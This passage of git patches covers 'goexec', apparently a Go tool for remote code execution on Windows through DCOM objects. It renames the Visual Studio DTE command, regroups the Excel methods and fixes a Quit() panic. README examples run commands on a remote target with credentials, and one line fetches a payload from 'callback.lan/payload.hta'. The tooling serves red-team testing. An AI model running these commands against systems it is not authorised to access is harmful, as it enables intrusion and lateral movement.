defaultNetRpcFlags, } - dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteVsFlags.Flags) - dcomVsDteCmd.Flags().AddFlagSet(dcomVsDteExecFlags.Flags) + dcomVisualStudioDteCmd.Flags().AddFlagSet(dcomVisualStudioDteVsFlags.Flags) + dcomVisualStudioDteCmd.Flags().AddFlagSet(dcomVisualStudioDteExecFlags.Flags) // Constraints - dcomVsDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command") - dcomVsDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command") - dcomVsDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") -} - -func dcomExcelCmdInit() { - dcomExcelCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) - dcomExcelCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) - dcomExcelCmd.PersistentFlags().AddFlagSet(defaultNetRpcFlags.Flags) - cmdFlags[dcomExcelCmd] = []*flagSet{ - defaultAuthFlags, - defaultLogFlags, - defaultNetRpcFlags, - } - dcomExcelMacroCmdInit() - dcomExcelXllCmdInit() - dcomExcelCmd.AddCommand(dcomExcelMacroCmd, dcomExcelXllCmd) + dcomVisualStudioDteCmd.MarkFlagsOneRequired("command", "exec", "vs-command") + dcomVisualStudioDteCmd.MarkFlagsMutuallyExclusive("command", "exec", "vs-command") + dcomVisualStudioDteCmd.MarkFlagsMutuallyExclusive("vs-command", "out") } func dcomExcelXllCmdInit() { @@ -215,9 +222,16 @@ var ( dcomExcelCmd = &cobra.Command{ Use: "excel [method]", - Short: "Execute with the Excel.Application DCOM object", + Short: "Execute with DCOM object(s) targeting Microsoft Excel", + Long: `Description: + Commands in the excel group use exposed Excel DCOM objects to gain remote execution`, + } + + dcomVisualStudioCmd = &cobra.Command{ + Use: "visualstudio [method]", + Short: "Execute with DCOM object(s) targeting Microsoft Visual Studio", Long: `Description: - The excel command uses the exposed Excel.Application DCOM object to gain remote execution using the specified method.`, + Commands in the visualstudio group use exposed Visual Studio DCOM objects to gain remote execution`, } dcomMmcCmd = &cobra.Command{ @@ -360,12 +374,12 @@ var ( }, } - dcomVsDteCmd = &cobra.Command{ - Use: "vs-dte [target]", + dcomVisualStudioDteCmd = &cobra.Command{ + Use: "dte [target]", Short: "Execute with the VisualStudio.DTE object", Long: `Description: - The vs-dte method uses the exposed VisualStudio.DTE object to spawn a process via the ExecuteCommand method. - This method requires that the remote host has Microsoft Visual Studio installed.`, + The dte method uses the exposed VisualStudio.DTE object to spawn a process via the ExecuteCommand method. This method + requires that the remote host has Microsoft Visual Studio installed.`, Args: args(argsRpcClient("host", ""), argsOutput("smb")), Run: func(*cobra.Command, []string) { dcomVisualStudioDte.Client = &rpcClient From 5c11405c2b4b58b98f3551898ee80c467c44349f Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 13:32:29 -0500 Subject: [PATCH 33/34] docs: `vs-dte`->`visualstudio dte` --- README.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index e8e7544..4b49ba9 100644 --- a/README.md +++ b/README.md @@ -208,7 +208,8 @@ Available Commands: shellwindows Execute with the ShellWindows DCOM object shellbrowserwindow Execute with the ShellBrowserWindow DCOM object htafile Execute with the HTAFile DCOM object - vs-dte Execute with the VisualStudio.DTE object + excel Execute with DCOM object(s) targeting Microsoft Excel + visualstudio Execute with DCOM object(s) targeting Microsoft Visual Studio ... [inherited flags] ... @@ -382,19 +383,19 @@ goexec dcom htafile "$target" \ --url "http://callback.lan/payload.hta" ``` -#### Visual Studio `ExecuteCommand` Method (`dcom vs-dte`) +#### Visual Studio `ExecuteCommand` Method (`dcom visualstudio dte`) -The `vs-dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method. +The `visualstudio dte` method uses the exposed `VisualStudio.DTE` object to spawn a process via the `ExecuteCommand` method. This method requires that the remote host has Microsoft Visual Studio installed. ```text Usage: - goexec dcom vs-dte [target] [flags] + goexec dcom visualstudio dte [target] [flags] Visual Studio: + --vs-2019 Target Visual Studio 2019 --vs-command string Visual Studio DTE command to execute --vs-args string Visual Studio DTE command arguments - --vs-2019 Target Visual Studio 2019 Execution: -e, --exec executable Remote Windows executable to invoke @@ -410,13 +411,13 @@ Execution: ```shell # Execute `sc query` (batch) + save output to services.txt -goexec dcom vs-dte "$target" \ +goexec dcom visualstudio dte "$target" \ --user "${auth_user}@${domain}" \ --password "$auth_pass" \ --command 'sc query' -o services.txt # Execute `cmd.exe /c set` with output, target Visual Studio 2019 -goexec dcom vs-dte "$target" \ +goexec dcom visualstudio dte "$target" \ --user "${auth_user}@${domain}" \ --password "$auth_pass" \ --vs-2019 \ From fac7b097f285eb6ae2e338fad0f05025526ea01e Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Wed, 1 Oct 2025 13:36:44 -0500 Subject: [PATCH 34/34] fix Quit() panic in visualstudio.go --- pkg/goexec/dcom/visualstudio.go | 1 + 1 file changed, 1 insertion(+) diff --git a/pkg/goexec/dcom/visualstudio.go b/pkg/goexec/dcom/visualstudio.go index 1e09c73..43ceedf 100644 --- a/pkg/goexec/dcom/visualstudio.go +++ b/pkg/goexec/dcom/visualstudio.go @@ -56,6 +56,7 @@ func (m *DcomVisualStudioDte) Execute(ctx context.Context, execIO *goexec.Execut q, err := m.callComMethod(ctx, nil, "Quit") if err != nil { log.Warn().Err(err).Msg("Call to Quit() failed") + return } zerolog.Ctx(ctx).Info().Int32("return", q.Return).Msg("Quit called") }()